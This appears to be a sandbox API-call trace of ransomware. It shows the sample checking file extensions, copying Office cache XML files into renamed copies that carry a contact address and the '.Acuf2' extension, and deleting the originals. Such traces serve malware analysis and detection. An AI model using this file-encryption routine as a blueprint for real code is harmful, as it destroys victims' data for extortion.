	[0038.431] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.431] lstrlenW (lpString="Proof.xml") returned 9
	[0038.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.431] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1458) returned 1
	[0038.431] CloseHandle (hObject=0x168) returned 1
	[0038.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020
	[0038.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.431] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.432] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.432] GetLastError () returned 0x0
	[0038.432] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x5b2, lpOverlapped=0x0) returned 1
	[0038.436] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0038.437] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.437] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.437] SetEndOfFile (hFile=0x160) returned 1
	[0038.437] CloseHandle (hObject=0x160) returned 1
	[0038.438] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.438] SetEndOfFile (hFile=0x168) returned 1
	[0038.438] CloseHandle (hObject=0x168) returned 1
	[0038.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.439] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1
	[0038.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.439] lstrlenW (lpString=".doc") returned 4
	[0038.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.439] lstrlenW (lpString=".docx") returned 5
	[0038.439] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0038.439] lstrlenW (lpString=".pdf") returned 4
	[0038.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.439] lstrlenW (lpString=".xls") returned 4
	[0038.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.439] lstrlenW (lpString=".xlsx") returned 5
	[0038.439] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0038.439] lstrlenW (lpString=".ppt") returned 4
	[0038.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.439] lstrlenW (lpString=".zip") returned 4
	[0038.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.439] lstrlenW (lpString=".rar") returned 4
	[0038.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString=".bz2") returned 4
	[0038.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString=".7z") returned 3
	[0038.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.440] lstrlenW (lpString=".dbf") returned 4
	[0038.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.440] lstrlenW (lpString=".1cd") returned 4
	[0038.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.440] lstrlenW (lpString=".jpg") returned 4
	[0038.440] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.440] lstrlenW (lpString=".doc") returned 4
	[0038.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString=".docx") returned 5
	[0038.440] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0038.440] lstrlenW (lpString=".pdf") returned 4
	[0038.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString=".xls") returned 4
	[0038.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString=".xlsx") returned 5
	[0038.440] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0038.440] lstrlenW (lpString=".ppt") returned 4
	[0038.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.440] lstrlenW (lpString=".zip") returned 4
	[0038.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.440] lstrlenW (lpString=".rar") returned 4
	[0038.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.441] lstrlenW (lpString=".bz2") returned 4
	[0038.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.441] lstrlenW (lpString=".7z") returned 3
	[0038.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.441] lstrlenW (lpString=".dbf") returned 4
	[0038.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.441] lstrlenW (lpString=".1cd") returned 4
	[0038.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0038.441] lstrlenW (lpString=".jpg") returned 4
	[0038.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.441] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.441] lstrlenW (lpString="Proofing.xml") returned 12
	[0038.441] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.441] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=811) returned 1
	[0038.441] CloseHandle (hObject=0x168) returned 1
	[0038.441] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020
	[0038.442] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.442] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.442] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.442] GetLastError () returned 0x0
	[0038.442] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x32b, lpOverlapped=0x0) returned 1
	[0038.457] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x330, lpOverlapped=0x0) returned 1
	[0038.458] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.458] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0038.458] SetEndOfFile (hFile=0x160) returned 1
	[0038.458] CloseHandle (hObject=0x160) returned 1
	[0038.459] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.459] SetEndOfFile (hFile=0x168) returned 1
	[0038.460] CloseHandle (hObject=0x168) returned 1
	[0038.460] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.460] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1
	[0038.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.460] lstrlenW (lpString=".doc") returned 4
	[0038.460] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.460] lstrlenW (lpString=".docx") returned 5
	[0038.460] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0038.461] lstrlenW (lpString=".pdf") returned 4
	[0038.461] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString=".xls") returned 4
	[0038.461] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString=".xlsx") returned 5
	[0038.461] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0038.461] lstrlenW (lpString=".ppt") returned 4
	[0038.461] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.461] lstrlenW (lpString=".zip") returned 4
	[0038.461] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.461] lstrlenW (lpString=".rar") returned 4
	[0038.461] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString=".bz2") returned 4
	[0038.461] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString=".7z") returned 3
	[0038.461] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.461] lstrlenW (lpString=".dbf") returned 4
	[0038.461] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.461] lstrlenW (lpString=".1cd") returned 4
	[0038.461] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.461] lstrlenW (lpString=".jpg") returned 4
	[0038.461] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.461] lstrlenW (lpString=".doc") returned 4
	[0038.461] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.461] lstrlenW (lpString=".docx") returned 5
	[0038.461] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0038.462] lstrlenW (lpString=".pdf") returned 4
	[0038.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString=".xls") returned 4
	[0038.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString=".xlsx") returned 5
	[0038.462] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0038.462] lstrlenW (lpString=".ppt") returned 4
	[0038.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.462] lstrlenW (lpString=".zip") returned 4
	[0038.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.462] lstrlenW (lpString=".rar") returned 4
	[0038.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString=".bz2") returned 4
	[0038.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString=".7z") returned 3
	[0038.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.462] lstrlenW (lpString=".dbf") returned 4
	[0038.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.462] lstrlenW (lpString=".1cd") returned 4
	[0038.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75
	[0038.462] lstrlenW (lpString=".jpg") returned 4
	[0038.462] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.462] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.463] lstrlenW (lpString="Setup.xml") returned 9
	[0038.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.463] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=5884) returned 1
	[0038.463] CloseHandle (hObject=0x168) returned 1
	[0038.463] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.463] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.463] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.463] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.464] GetLastError () returned 0x0
	[0038.464] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x16fc, lpOverlapped=0x0) returned 1
	[0038.473] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1700, lpOverlapped=0x0) returned 1
	[0038.474] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.474] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.474] SetEndOfFile (hFile=0x160) returned 1
	[0038.474] CloseHandle (hObject=0x160) returned 1
	[0038.475] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.475] SetEndOfFile (hFile=0x168) returned 1
	[0038.476] CloseHandle (hObject=0x168) returned 1
	[0038.476] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.476] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.477] lstrlenW (lpString=".doc") returned 4
	[0038.477] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString=".docx") returned 5
	[0038.477] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.477] lstrlenW (lpString=".pdf") returned 4
	[0038.477] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString=".xls") returned 4
	[0038.477] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString=".xlsx") returned 5
	[0038.477] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.477] lstrlenW (lpString=".ppt") returned 4
	[0038.477] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.477] lstrlenW (lpString=".zip") returned 4
	[0038.477] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.477] lstrlenW (lpString=".rar") returned 4
	[0038.477] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString=".bz2") returned 4
	[0038.477] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString=".7z") returned 3
	[0038.477] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.477] lstrlenW (lpString=".dbf") returned 4
	[0038.477] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.477] lstrlenW (lpString=".1cd") returned 4
	[0038.477] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.477] lstrlenW (lpString=".jpg") returned 4
	[0038.477] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.478] lstrlenW (lpString=".doc") returned 4
	[0038.478] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString=".docx") returned 5
	[0038.478] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.478] lstrlenW (lpString=".pdf") returned 4
	[0038.478] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString=".xls") returned 4
	[0038.478] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString=".xlsx") returned 5
	[0038.478] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.478] lstrlenW (lpString=".ppt") returned 4
	[0038.478] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.478] lstrlenW (lpString=".zip") returned 4
	[0038.478] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.478] lstrlenW (lpString=".rar") returned 4
	[0038.478] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString=".bz2") returned 4
	[0038.478] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString=".7z") returned 3
	[0038.478] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
